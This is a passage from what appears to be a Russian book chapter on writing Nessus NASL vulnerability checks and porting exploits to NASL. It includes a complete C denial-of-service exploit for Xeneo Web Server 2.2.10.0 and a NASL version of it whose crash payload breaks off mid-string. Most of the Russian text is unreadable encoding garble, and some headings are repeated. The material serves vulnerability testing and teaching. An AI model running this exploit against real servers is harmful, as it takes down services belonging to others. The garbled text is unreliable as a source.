130
131 if( safe_checks() ) {
132
133   # Ïîëüçîâàòåëè Nessus ìîãóò óáåäèòüñÿ, ÷òî ïðè òåñòèðîâàíèè

Пример: канонический сценарий на языке NASL
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134   # êðèòè÷åñêè âàæíûõ õîñòîâ íà óÿçâèìîñòü äåëàþòñÿ òîëüêî
135   # áåçîïàñíûå ïðîâåðêè. Íàëè÷èå òàêîãî ðàçäåëà íåîáÿçàòåëüíî, íî
136   # íàñòîÿòåëüíî ðåêîìåíäóåòñÿ. Ê ÷èñëó áåçîïàñíûõ ïðîâåðîê
137   # îòíîñÿòñÿ ñ÷èòûâàíèå øàïêè, HTTP-îòâåòîâ è ò.ï..
138
139   # ñ÷èòàòü øàïêó
140   b = get_http_banner(port: port);
141
142   # ïðîâåðèì, ñîîòâåòñòâóåò ëè øàïêà Apache/2.
143   if ( b =~ 'Server: *Apache/2\.' ) {
144      report = "
145 Íàéäåí Web-ñåðâåð Apache âåðñèè 2.x – ìîæåò, óÿçâèì, à, ìîæåò,
146 è íåò. Â êîíöå êîíöîâ, ýòî òîëüêî ïðèìåð.
147
148 ** Îòìåòèì, ÷òî Nessus íå âûïîëíèëà ðåàëüíîãî òåñòà, à òîëüêî
149 ** èçâëåêëà íîìåð âåðñèè èç øàïêè.
150
151 Ðåøåíèå : Çàéäèòå íà www.apache.org äëÿ ïîëó÷åíèÿ ïîñëåäíåé âåðñèè.
152 Îöåíêà ðèñêà : íèçêèé";
153
154      # ñîîáùèòü Nessus îá óÿçâèìîé âåðñèè
155      # Ê ôóíêöèÿì èçâåùåíèÿ îòíîñÿòñÿ:
156      # security_note: ïîëó÷åíà èíôîðìàöèÿ
157      # security_warning: ìåëêàÿ ïðîáëåìà
158      # security_hole: ñåðüåçíàÿ ïðîáëåìà
159      security_hole(port: port, data: report);
160   }
161
162   # ôóíêöèÿ safe_checks çàâåðøèëàñü, âûéòè
163   exit(0);
164
165 } else {
166   # Åñëè ðåæèì safe_checks íå çàäàí, ìîæíî ïðèìåíÿòü ïðè òåñòèðîâàíèè
167   # áîëåå æåñòêèå ìåòîäû, íàïðèìåð, DoS-àòàêó èëè ïåðåïîëíåíèå áóôåðà
168
169   # ïðîâåðèì, ÷òî õîñò æèâ ïåðåä íà÷àëîì àòàêè
170   if ( http_is_dead(port:port) ) exit(0);
171
172   # îòêðûòü ñîêåò äëÿ ñîåäèíåíèÿ ñ öåëåâûì õîñòîì è ïîðòîì
173   soc = http_open_socket(port);
174   if( soc ) {
175     # ñêîíñòðóèðîâàòü ïîëåçíóþ íàãðóçêó, â äàííîì ñëó÷àå ñòðîêó
176     payload = "some nasty string\n\n\n\n\n\n\n\n\n";
177
178     # îòïðàâèòü ïîëåçíóþ íàãðóçêó
179     send(socket:soc, data:payload);
180
181     # ïðî÷èòàòü ðåçóëüòàò.
182     r = http_recv(socket:soc);
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183
184     # Çàêðûòü ñîêåò.
185     http_close_socket(soc);
186
187     # Åñëè õîñò ïåðåñòàë îòâå÷àòü, ñîîáùèòü î ñåðüåçíîé ïðîáëåìå
188     if ( http_is_dead(port:port) ) security_hole(port);
189   }
190 }

Перенос на язык NASL и наоборот
Ïîä ïåðåíîñîì êîäà ïîíèìàåòñÿ ïðîöåäóðà ïåðåâîäà ïðîãðàììû ñ îäíîãî ÿçû-
êà íà äðóãîé. Êîíöåïòóàëüíî ïåðåíîñ âûãëÿäèò ïðîñòî, íî íà ïðàêòèêå ìîãóò
âîçíèêíóòü ñëîæíîñòè, òàê êàê íàäî õîðîøî çíàòü îáà ÿçûêà. Åñëè ÿçûêè
ïîõîæè, íàïðèìåð, åñëè ðå÷ü èäåò î C è Ñ++, êîòîðûå èìåþò ñõîæèé ñèíòàê-
ñèñ, íàáîð áèáëèîòå÷íûõ ôóíêöèé è òàê äàëåå, òî çàäà÷à óïðîùàåòñÿ. Êîãäà
æå íóæíî ïåðåíåñòè ïðîãðàììó íà ñîâñåì äðóãîé ÿçûê, íàïðèìåð, ñ Java íà
Perl, òî âñå ñòàíîâèòñÿ êóäà ñëîæíåå, ïîñêîëüêó ñèíòàêñèñ èìååò ìàëî îáùå-
ãî, à ìåòîäû ïðîåêòèðîâàíèÿ, ñðåäû ðàçðàáîòêè è áàçîâàÿ èäåîëîãèÿ ÿçûêîâ
ôóíäàìåíòàëüíî ðàçëè÷íû.

NASL èìååò áîëüøå îáùåãî ñ òàêèìè ÿçûêàìè, êàê C è Perl, ÷åì ñ æåñòêî
ñòðóêòóðèðîâàííûìè ÿçûêàìè òèïà Java è Python. Ñèíòàêñè÷åñêè C è NASL
î÷åíü ïîõîæè, à ñëàáàÿ òèïèçàöèÿ ïåðåìåííûõ è óäîáíûå âûñîêîóðîâíåâûå
ñðåäñòâà ìàíèïóëèðîâàíèÿ ñòðîêàìè íàïîìèíàþò Perl. Ïîýòîìó ïåðåíîñ
ñ C èëè Perl íà NASL, âåðîÿòíî, ïîêàæåòñÿ âàì ïðîùå, ÷åì ñ Java. Ê ñ÷àñòüþ,
«ýêñïëîéòû» íà Java âñòðå÷àþòñÿ íå òàê ÷àñòî, êàê íà C èëè Perl. Áåãëûé àíà-
ëèç «ýêñïëîéòîâ» (ñì. ñàéò phathookups.com) ïîêàçàë, ÷òî ïðèìåðíî 90% íà-
ïèñàíû íà C, 9.7% íà Perl è òîëüêî 0.3% íà Java.

Логический анализ

×òîáû óïðîñòèòü ïðîöåññ ïåðåíîñà, îòâëåêèòåñü îò ñèíòàêñè÷åñêèõ ðàçëè÷èé
ìåæäó ÿçûêàìè è ñêîíöåíòðèðóéòåñü íà ïîíèìàíèè ëîãèêè ïðîãðàììû. Ïî-
ïûòàéòåñü ïîíÿòü, êàêèìè ñðåäñòâàìè ïðîãðàììà äîñòèãàåò ñâîèõ öåëåé. Çà-
òåì îïèøèòå ñóùåñòâåííûå øàãè è äåòàëè ðåàëèçàöèè íà ïñåâäîêîäå. È, íà-
êîíåö, ïåðåâåäèòå ïñåâäîêîä íà íóæíûé âàì ÿçûê. (Ïîäðîáíåå ýòè øàãè áó-
äóò îïèñàíû â ñëåäóþùåé ãëàâå.)

Ëîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììûËîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììûËîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììûËîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììûËîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììû
×òåíèå èñõîäíîãî òåêñòà – ýòî ñàìûé ïðÿìîé è îáû÷íûé ìåòîä èçó÷åíèÿ èí-
òåðåñóþùåé âàñ ïðîãðàììû. Ïîìèìî ñîáñòâåííî èñõîäíîãî òåêñòà, öåííàÿ

Перенос на языке NASL и наоборот
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èíôîðìàöèÿ ìîæåò ñîäåðæàòüñÿ â çàãîëîâî÷íûõ ôàéëàõ è êîììåíòàðèÿõ. Åñëè
ðå÷ü èäåò î ïðîñòîì «ýêñïëîéòå», òî äëÿ ïîíèìàíèÿ ëîãèêè ñöåíàðèÿ ìîæåò
îêàçàòüñÿ äîñòàòî÷íûì îçíàêîìèòüñÿ ñ åãî òåêñòîì. Â áîëåå ñëîæíûõ ñëó÷àÿõ
áûâàåò ïîëåçíî ñîáðàòü ñâåäåíèÿ îá «ýêñïëîéòå» èç äðóãèõ èñòî÷íèêîâ.

Íà÷íèòå ñ ïîèñêà èçâåùåíèÿ, êîòîðîå ñîîòâåòñòâóåò «ýêñïëîéòó». Åñëè òà-
êîâîå ñóùåñòâóåò, òî â íåì âû íàéäåòå èíôîðìàöèþ î õàðàêòåðå óÿçâèìîñ-
òè è ìåòîäàõ åå ýêñïëóàòàöèè. Åñëè âàì ïîâåçåò, òî â èçâåùåíèè áóäåò òî÷íî
íàïèñàíî, ÷òî äåëàåò «ýêñïëîéò» (ïåðåïîëíåíèå áóôåðà, àòàêà íà îøèáêè ïðè
êîíòðîëå âõîäíûõ äàííûõ, èñ÷åðïàíèå ðåñóðñîâ è òàê äàëåå). Íå îãðàíè÷è-
âàéòåñü ïîèñêîì èçâåùåíèÿ î ñàìîì «ýêñïëîéòå», â ðàçëè÷íûõ îíëàéíîâûõ
ñîîáùåñòâàõ ÷àñòî ìîæíî íàéòè èíôîðìàòèâíûå îáñóæäåíèÿ èçâåñòíûõ è
âíîâü îáíàðóæåííûõ óÿçâèìîñòåé. Èìåéòå â âèäó, ÷òî «ýêñïëîéòû», ðàçìå-
ùàåìûå â ñïèñêàõ ðàññûëêè ñ ïîëíûì ðàñêðûòèåì èíôîðìàöèè, íàïðèìåð,
â BugTraq, ìîãóò ñîäåðæàòü íàìåðåííî âíåñåííûå îøèáêè. Àâòîð ìîæåò
ñëåãêà «ïîäïðàâèòü» êîä, ÷òîáû «ýêñïëîéò» íå êîìïèëèðîâàëñÿ, èëè óáðàòü
èç íåãî âàæíóþ ôóíêöèîíàëüíîñòü, äîáàâèòü ñáèâàþùèå ñ òîëêó êîììåíòà-
ðèè èëè âêëþ÷àòü «òðîÿíñêèé» êîä. Õîòÿ íåêîððåêòíûé êîä èíîãäà ïóáëèêó-
åòñÿ ïî íåäîñìîòðó, ÷àùå îøèáêè âíîñÿòñÿ îñîçíàííî, ÷òîáû óñëîæíèòü
æèçíü áåçãðàìîòíûì «scri pt kiddie», íî  ïðè ýòîì ïðîäåìîíñòðèðîâàòü âîç-
ìîæíîñòü ðåàëèçàöèè «ýêñïëîéòà» ïîñòàâùèêàì ïðîãðàììíîãî îáåñïå÷å-
íèÿ, ïðîôåññèîíàëàì è êâàëèôèöèðîâàííûì õàêåðàì.

Âàæíî âû÷ëåíèòü îñíîâíûå ëîãè÷åñêèå êîìïîíåíòû ñöåíàðèÿ, êîòîðûé
âû ñîáèðàåòåñü ïåðåíîñèòü, áóäü òî ïóòåì èçó÷åíèÿ èñõîäíîãî òåêñòà èëè
â ðåçóëüòàòå ïîèñêà îïóáëèêîâàííîé èíôîðìàöèè. Â ÷àñòíîñòè, ðàçáåðèòåñü,
ñêîëüêî ñåòåâûõ ñîåäèíåíèé ñîçäàåò «ýêñïëîéò», ÷òî ýòî çà ñîåäèíåíèÿ, êà-
êîâà ïðèðîäà ïîëåçíîé íàãðóçêè è êàê ýòà íàãðóçêà ñîçäàåòñÿ, çàâèñèò ëè «ýêñ-
ïëîéò» îò âðåìåííûõ ôàêòîðîâ.

Ëîãè÷åñêèé ïîòîê èñïîëíåíèÿ ñöåíàðèÿ ìîæåò âûãëÿäåòü ïðèìåðíî òàê:

1. Îòêðûòü ñîêåò.
2. Óñòàíîâèòü ñîåäèíåíèå ñ óäàëåííûì õîñòîì, óêàçàâ íîìåð ïîðòà, ïåðå-

äàííûé â êà÷åñòâå àðãóìåíòà.
3. Ïðîâåðèòü øàïêó è óáåäèòüñÿ â òîì, ÷òî õîñò îòâå÷àåò.
4. Ïîñëàòü çàïðîñ HTPP GET, çàäàâ â íåì äëèííóþ ñòðîêó â êà÷åñòâå çàãî-

ëîâêà Referer.
5. Ïðîâåðèòü, îòâå÷àåò ëè åùå õîñò (ïûòàÿñü ïîëó÷èòü øàïêó).

ÏñåâäîêîäÏñåâäîêîäÏñåâäîêîäÏñåâäîêîäÏñåâäîêîä
Ïîëó÷èâ îáùåå ïðåäñòàâëåíèå î ðàáîòå «ýêñïëîéòà», ïåðåõîäèòå ê äåòàëü-
íîìó îïèñàíèþ îòäåëüíûõ øàãîâ. Ïîëåçíûì íà ýòîì ýòàïå ìîæåò îêàçàòüñÿ
íàïèñàíèå ïñåâäîêîäà (òåêñòà íà ñìåñè åñòåñòâåííîãî ÿçûêà è ÿçûêà ïðîãðàì-
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ìèðîâàíèÿ), ïîñêîëüêó ïðè ïîïûòêå ïðÿìîãî ïîñòðî÷íîãî ïåðåâîäà, íàïðè-
ìåð, ñ C âû óïóñòèòå èç âèäó âñòðîåííûå â NASL ôóíêöèè. Òèïè÷íûé ïñåâäî-
êîä âûãëÿäèò ïðèìåðíî òàê:

 1  example_exploit(ip, port)
 2    target_ip = ip    # âûâåñòè ñîîáùåíèå îá îøèáêå è âûéòè, åñëè
 3                      # IP-àäðåñ íå óêàçàí
 4    target_port = port # åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ 80
 5
 6    local_socket = ïîëó÷èòü îòêðûòûé ñîêåò íà ëîêàëüíîé ñèñòåìå
 7    ïîëó÷èòü èíôîðìàöèþ îá IP îò õîñòà ïî àäðåñó target_ip
 8    sock = ñòðóêòóðà, çàïîëíåííàÿ ïîëó÷åííîé èíôîðìàöèåé
 9    my_socket = connect_socket (local_socket, sock)
10
11    string payload = HTTP-çàãîëîâîê ñ î÷åíü äëèííûì Referer
12    send(my_socket, payload, length(payload)
13  exit

Ïîñëå íàïèñàíèÿ äåòàëüíîãî ïñåâäîêîäà ïåðåâîä åãî íà ÿçûê ðåàëüíîãî
«ýêñïëîéòà» ñòàíîâèòñÿ óïðàæíåíèåì íà ïîíèìàíèå ñèíòàêñèñ ÿçûêà, èìåþ-
ùèõñÿ ôóíêöèé è ñðåäû ïðîãðàììèðîâàíèÿ. Åñëè âû óæå õîðîøî çíàêîìû
ñ ÿçûêîì, òî ýòîò ýòàï ïðîéäåò ëåãêî. Â ïðîòèâíîì ñëó÷àå ïðèäåòñÿ çàíÿòüñÿ
êîïèðîâàíèåì ïðèìåðîâ è ëèñòàíèåì ñïðàâî÷íîãî ðóêîâîäñòâà è ðóêîâîä-
ñòâà ïî ïðîãðàììèðîâàíèþ íà íóæíîì ÿçûêå.

Ïåðåíîñ íà NASLÏåðåíîñ íà NASLÏåðåíîñ íà NASLÏåðåíîñ íà NASLÏåðåíîñ íà NASL
Ïåðåíîñ «ýêñïëîéòîâ» íà NASL èìååò òî î÷åâèäíîå ïðåèìóùåñòâî, ÷òî
ê âàøèì óñëóãàì âñÿ èíôðàñòðóêòóðà Nessus. Ðåøèâøèñü íà ýòîò øàã, âû

Примечание

«Эксплойты», извещения либо то и другое обычно выкладываются на
следующие сайты:
� http://www.securityfocus.com (эксплойты, извещения);
� http://www.hack.co.za (эксплойты);
� http://www.packetstormsecurity.net (эксплойты);
� http://www.securiteam.com (эксплойты, извещения);
� http://www.security�protocols.com (эксплойты, извещения);
� http://www.cert.org (извещения);
� http://www.sans.org (извещения).

Перенос на языке NASL и наоборот
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ñìîæåòå ïîäåëèòüñÿ ñâîèì ñöåíàðèåì ñ äðóãèìè ïîëüçîâàòåëÿìè Nessus. Ïå-
ðåíîñ íà NASL îáëåã÷àåò òîò ôàêò, ÷òî ýòîò ÿçûê ñ ñàìîãî íà÷àëà îðèåíòèðî-
âàí íà ïîääåðæêó ðàçðàáîòêè èíñòðóìåíòîâ äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè è
ïðîâåðîê íà óÿçâèìîñòü. Îí ïðåäîñòàâëÿåò óäîáíûå ñðåäñòâà, íàïðèìåð, áàçó
çíàíèé è ôóíêöèè äëÿ ìàíèïóëèðîâàíèÿ íèçêîóðîâíåâûìè ïàêåòàìè, ñòðî-
êàìè è ðàáîòû ñ ñåòåâûìè ïðîòîêîëàìè.

Ìîæíî ïðåäëîæèòü, ê ïðèìåðó, òàêîé ïîäõîä äëÿ ïåðåíîñà ïðîãðàìì íà
ÿçûê NASL:

1. Ñîáåðèòå èíôîðìàöèþ îá «ýêñïëîéòå».
2. Èçó÷èòå èñõîäíûé òåêñò.
3. Ñîñòàâüòå âûñîêîóðîâíåâîå îïèñàíèå ëîãèêè ïðîãðàììû.
4. Íàïèøèòå äåòàëüíûé ïñåâäîêîä.
5. Ïåðåâåäèòå ïñåâäîêîä íà NASL.
6. Ïðîòåñòèðóéòå NASL-ñöåíàðèé ñ ïîìîùüþ êîìàíäíîãî èíòåðïðåòàòî-

ðà.
7. Äîáàâüòå çàãîëîâîê, îïèñàíèå è ôóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðà-

áîòû.
8. Ïðîòåñòèðóéòå äîïîëíåííûé ñöåíàðèé â ñðåäå Nessus.
9. Åñëè õîòèòå, îòïðàâüòå ñâîé ñöåíàðèé àäìèíèñòðàòîðó Nessus.

Êàê âèäèòå, ïðîöåññ ïåðåíîñà íà ÿçûê NASL ñëåäóåò òåì æå îáùèì ïðèí-
öèïàì, ÷òî è äëÿ ïåðåíîñà íà ëþáîé äðóãîé ÿçûê: ðàçîáðàòüñÿ â ïðîãðàììå,
íàïèñàòü ïñåâäîêîä è ïðåîáðàçîâàòü åãî â èñõîäíûé òåêñò.

Êîãäà ñöåíàðèé çàðàáîòàåò â êîìàíäíîì èíòåðïðåòàòîðå, äîáàâüòå íåîáõî-
äèìûå çàãîëîâîê, îïèñàòåëüíûå ôóíêöèè è ôóíêöèè èçâåùåíèÿ. Ïîñëå ýòî-
ãî ìîæåòå ïðîòåñòèðîâàòü åãî â êëèåíòå Nessus è îòïðàâèòü ïëîäû ñâîèõ
òðóäîâ àäìèíèñòðàòîðó Nessus, ÷òîáû îí âêëþ÷èë åãî â áèáëèîòåêó.

Â ñëåäóþùèõ ðàçäåëàõ ýòà ïðîöåäóðà èëëþñòðèðóåòñÿ íà êîíêðåòíûõ ïðè-
ìåðàõ.

Ïåðåíîñ íà NASL ñ C/C++Ïåðåíîñ íà NASL ñ C/C++Ïåðåíîñ íà NASL ñ C/C++Ïåðåíîñ íà NASL ñ C/C++Ïåðåíîñ íà NASL ñ C/C++

Â ñëåäóþùåì ïðèìåðå äåìîíñòðèðóåòñÿ óäàëåííîå ïåðåïîëíåíèå áóôåðà äëÿ
Web-ñåðâåðà Xeneo, âûçûâàþùåå îòêàç îò îáñëóæèâàíèÿ.

1 /* Xeneo Web Server 2.2.2.10.0 DoS

2  *

3  *Foster and Tommy

4  */

5
6 #include <winsock2.h>

7 #include <stdio.h>
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 8
 9 #pragma comment(lib, "ws2_32.lib")

10
11 char exploit[] =

12
13 "GET /index.html?testvariable=&nexttestvariable=gif HTTP/1.1\r\n"

14 "Referer:

http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n"

15 "Content-Type: application/x-www-form-urlencoded\r\n"

16 "Connection: Keep-Alive\r\n"

17 "Cookie: VARIABLE=SPLABS; path=/\r\n"

18 "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n"

19 "Variable: result\r\n"

20 "Host: localhost\r\n"

21 "Content-length:     513\r\n"

22 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

   image/png\r\n"

23 "Accept-Encoding: gzip\r\n"

24 "Accept-Language: en\r\n"

25 "Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n"

26
"whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";

27
28 int main(int argc, char *argv[])

29 {

30   WSADATA wsaData;

31   WORD wVersionRequested;

32   struct hostent *pTarget;

33   struct sockaddr_in sock;

34   char *target, buffer[30000];

35   int port,bufsize;

36   SOCKET mysocket;

37
38   if (argc < 2)

39   {

40    printf("Xeneo Web Server 2.2.10.0 DoS\r\n <badpack3t@security-

      protocols.com>\r\n\r\n", argv[0]);

41    printf("Tool Usage:\r\n %s <targetip> [targetport] (default is 80)

      \r\n\r\n", argv[0]);

42    printf("www.security-protocols.com\r\n\r\n", argv[0]);
43    exit(1);
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44   }

45
46   wVersionRequested = MAKEWORD(1, 1);

47   if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

48
49   target = argv[1];

50
51   // ïîðò ïî óìîë÷àíèþ äëÿ àòàê ÷åðåç Web

52   port = 80;

53
54   if (argc >= 3) port = atoi(argv[2]);

55   bufsize = 512;

56   if (argc >= 4) bufsize = atoi(argv[3]);

57
58   mysocket = socket(AF_INET, SOCK_STREAM, 0);

59   if(mysocket==INVALID_SOCKET)

60   {

61     printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n");

62     exit(1);

63   }

64
65   printf("Ðàçðåøåíèå èìåíè õîñòà...\n");

66   if ((pTarget = gethostbyname(target)) == NULL)

67   {

68     printf("Íå óäàëîñü ðàçðåøèòü èìÿ %s\n", argv[1]);

69     exit(1);

70   }

71
72   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

73   sock.sin_family = AF_INET;

74   sock.sin_port = htons((USHORT)port);

75
76   printf("Ñîåäèíÿþñü...\n");

77   if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))

78   {

79     printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n");

80     exit(1);

81   }

82
83   printf("Ñîåäèíåíèå óñòàíîâëåíî!...\n");

84   printf("Îòïðàâëÿþ çàïðîñ...\n");

85   if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)

86   {

87     printf("Îøèáêà ïðè îòïðàâêå ïîëåçíîé íàãðóçêè ýêñïëîéòà\r\n");

88     closesocket(mysocket);

89     exit(1);

90   }

91
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92   printf("Óäàëåííûé Web-ñåðâåð àòàêîâàí\r\n");

93   closesocket(mysocket);

94   WSACleanup();

95   return 0;

96 }

Öåëüþ ýòîé àòàêè ñ ïåðåïîëíåíèåì áóôåðà ÿâëÿåòñÿ îøèáêà â Web-ñåðâåðå
Xeneo2, âîñïîëüçîâàòüñÿ êîòîðîé ìîæíî, ïîñëàâ çàïðîñ GET ïî ïðîòîêîëó
HTTP ñ î÷åíü äëèííûì çàãîëîâêîì Referer è ïàðàìåòðîì whatyoutyped. Âàæíî
ïîíèìàòü, ÷òî äåëàåò «ýêñïëîéò» è êàê îí ýòî äåëàåò, íî çíàòü ïðè ýòîì âñå
î Web-ñåðâåðå Xeneo2 âîâñå íå îáÿçàòåëüíî.

Íà÷íåì àíàëèç «ýêñïëîéòà» ñ âûñîêîóðîâíåâîãî îïèñàíèÿ àëãîðèòìà:

1. Îòêðûòü ñîêåò.
2. Ñîåäèíèòüñÿ ñ óäàëåííûì õîñòîì, óêàçàâ ïåðåäàííûé â êîìàíäíîé

ñòðîêå íîìåð TCP-ïîðòà.
3. Ïîñëàòü çàïðîñ HTTP GET ñ äëèííûì çàãîëîâêîì Referer.
4. Ïðîâåðèòü, ÷òî õîñò ïåðåñòàë îòâå÷àòü.

Ïñåâäîêîä ýòîãî ñöåíàðèÿ óæå ïðèâîäèëñÿ â êà÷åñòâå ïðèìåðà âûøå. Äëÿ
óäîáñòâà ïîâòîðèì åãî:

 1  example_exploit(ip, port)
 2    target_ip = ip    # âûâåñòè ñîîáùåíèå îá îøèáêå è âûéòè, åñëè
 3                      # IP-àäðåñ íå óêàçàí
 4    target_port = port # åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ 80
 5
 6    local_socket = ïîëó÷èòü îòêðûòûé ñîêåò íà ëîêàëüíîé ñèñòåìå
 7    ïîëó÷èòü èíôîðìàöèþ îá IP îò õîñòà ïî àäðåñó target_ip
 8    sock = ñòðóêòóðà, çàïîëíåííàÿ ïîëó÷åííîé èíôîðìàöèåé
 9    my_socket = connect_socket (local_socket, sock)
10
11    string payload = HTTP-çàãîëîâîê ñ î÷åíü äëèííûì Referer
12    send(my_socket, payload, length(payload)
13  exit

Ñëåäóþùèé øàã – ïåðåíåñòè ýòîò ïñåâäîêîä íà NASL, îðèåíòèðóÿñü íà ïðè-
âåäåííûå â ýòîé ãëàâå ïðèìåðû è êîä äðóãèõ ñöåíàðèåâ, êîòîðûå ìîæíî çàã-
ðóçèòü ñ ñàéòà nessus.org. Âîò îêîí÷àòåëüíûé âàðèàíò NASL-ñöåíàðèÿ.

1 # Xeneo Web Server 2.2.10.0 DoS

2 #

3 # Óÿçâèìûå ñèñòåìû:

4 #  Xeneo Web Server 2.2.10.0 DoS

5 #

6 # Ïðîèçâîäèòåëü:
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 7 #  http://www.northernsolutions.com
 8 #

 9 # Íà îñíîâå:
10 #  Îñíîâàí íà èçâåùåíèè îïóáëèêîâàííîì badpacket3t è ^Foster

11 #  For Security Protocols Research Labs [23 àïðåëÿ, 2003]
12 #  http://security-protocols.com/article.php?sid=1481

13 #
14 # Èñòîðèÿ:

15 #  Xeneo 2.2.9.0 óÿçâèì äëÿ äâóõ ðàçíûõ DoS-àòàê:
16 #  (1) Xeneo_Web_Server_2.2.9.0_DoS.nasl

17 #    Ýòà àòàêà "âàëèò" ñåðâåð ïóòåì îòïðàâêè çàïðîñà â âèäå î÷åíü
18 #    äëèííîãî URL, íà÷èíàþùåãîñÿ ñî çíàêà âîïðîñà (íàïðèìåð,

19 #    /?AAAAA[....]AAAA).
20 #    Åå îáíàðóæèë badpack3t, ýêñïëîéò íàïèñàë Foster,

21 #    à ïðîâåðêó íà NASL – BEKRAR Chaouki.
22 #  (2) Xeneo_Percent_DoS.nasl

23 #    Ýòà àòàêà "âàëèò" ñåðâåð ïóòåì îòïðàâêè åìó çàïðîñà "/%A".
24 #    Åå îáíàðóæèë Carsten H. Eiram <che@secunia.com>,

25 #    à NASL-ñöåíàðèé íàïèñàë Michel Arboi.
26 #

27
28 if ( description ) {

29    script_version("$Revision:1.0$");
30    name["english"] = "Xeneo Web Server 2.2.10.0 DoS";

31    name["francais"] = "Xeneo Web Server 2.2.10.0 DoS";
32    script_name(english:name["english"], francais:name["francais"]);

33
34    desc["english"] = "

35 Ýòîò ýêñïëîéò áûë îáíàðóæåí âñëåä çà äâóìÿ äðóãèìè DoS-ýêñïëîéòàìè
   äëÿ Web-ñåðâåðà Xeneo 2.2.9.0. Îí âûïîëíÿåò ñëåãêà ìîäèôèöèðîâàííûé

   çàïðîñ GET ñ òåì æå ðåçóëüòàòîì – ñåðâåð Xeneo ïàäàåò.
36
37 Ðåøåíèå : ïåðåéòè íà ïîñëåäíþþ âåðñèþ Web-ñåðâåðà Xeneo
38 Îöåíêà ðèñêà : âûñîêèé";

39
40    script_description(english:desc["english"]);

41
42    summary["english"] = "Xeneo Web Server 2.2.10.0 DoS";

43    summary["francais"] = "Xeneo Web Server 2.2.10.0 DoS";
44    script_summary(english:summary["english"],

45                   francais:summary["francais"]);
46
47    script_category(ACT_DENIAL);
48
49    script_copyright(english:"No copyright.");
50
51    family["english"] = "Denial of Service";
52    family["francais"] = "Deni de Service";

53    script_family(english:family["english"],
54                  francais:family["francais"]);

55    script_dependencies("find_service.nes");
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56    script_require_ports("Services/www",80);

57    exit(0);

58 }

59
60 include("http_func.inc");

61
62 port = get_kb_item("Services/www");

63 if ( !port ) port = 80;

64 if ( !get_port_state(port) ) exit(0);

65
66 if ( safe_checks() ) {

67
68    # â ðåæèìå áåçîïàñíîé ïðîâåðêè òîëüêî àíàëèçèðóåòñÿ øàïêà

69    b = get_http_banner(port: port);

70
71    # Äîëæíî ñîîòâåòñòâîâàòü Xeneo/2.0, 2.1, and 2.2.0-2.2.11

72    if ( b =~ 'Server: *Xeneo/2\\.(([0-1][ \t\r\n.])|(2(\\.([0-9]|10|11

      ))?[ \t\r\n]))' ) {

73       report = "

74 Xeneo Web Server âåðñèé 2.2.10.0 è íèæå ìîæåò áûòü "ïîâàëåí"

75 ïóòåì îòïðàâêè ñïåöèàëüíîãî çàïðîñà GET, ñîñòîÿùåãî èç íåñêîëüêèõ

76 ñîòåí çíàêîâ ïðîöåíòà è ïåðåìåííîé ñ èìåíåì whatyoutyped, çíà÷åíèå

77 êîòîðîé ñîäåðæèò íåñêîëüêî ñîòåí áóêâ A.

78
79 ** Îòìåòèì, ÷òî Nessus íå âûïîëíÿëà ðåàëüíîãî òåñòà, à

80 ** òîëüêî ïðîâåðèëà íîìåð âåðñèè â øàïêå

81
82 Ðåøåíèå : ïåðåéòè íà ïîñëåäíþþ âåðñèþ Web-ñåðâåðà Xeneo.

83 Îöåíêà ðèñêà : âûñîêèé";

84
85       security_hole(port: port, data: report);

86    }

87
88    exit(0);

89
90 } else {

91    # ðåæèì áåçîïàñíûõ ïðîâåðîê îòêëþ÷åí, ïðîáóåì DoS-àòàêó

92
93    if ( http_is_dead(port:port) ) exit(0);

94
95    soc = http_open_socket(port);

96    if( soc ) {

97      payload = "GET /index.html?testvariable=&nexttestvariable=gif
        HTTP/1.1\r\n
98 Referer:
http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
